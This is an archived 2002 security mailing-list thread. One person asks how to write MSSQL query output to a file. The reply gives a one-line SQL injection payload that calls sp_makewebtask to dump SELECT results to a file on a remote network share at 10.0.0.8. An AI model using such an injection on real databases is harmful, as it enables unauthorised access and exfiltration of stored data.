Try using the sp_makewebtask sproc.

';EXEC sp_makewebtask '\\10.0.0.8\public\hack.htmk', 'SELECT inputname FROM...' etc.
HTH
-h

-----Original Message-----
From: Alex Harasic [mailto:[EMAIL PROTECTED]]
Sent: Wednesday, March 13, 2002 9:05 AM
To: [EMAIL PROTECTED]
Subject: Send output to file in SQL




Hi, I've been looking around for ways to send output 

to a file in a sql query. I know there is one for mySQL 

but not for msSQL.



Anyone knows a way to send the output in a query 

without using extended procedures?





Alex S. Harasic

[EMAIL PROTECTED]

----------------------------------------------------------------------------
This list is provided by the SecurityFocus Security Intelligence Alert (SIA)
Service. For more information on SecurityFocus' SIA service which
automatically alerts you to the latest security vulnerabilities please see:
https://alerts.securityfocus.com/


----------------------------------------------------------------------------
This list is provided by the SecurityFocus Security Intelligence Alert (SIA)
Service. For more information on SecurityFocus' SIA service which
automatically alerts you to the latest security vulnerabilities please see:
https://alerts.securityfocus.com/

Reply via email to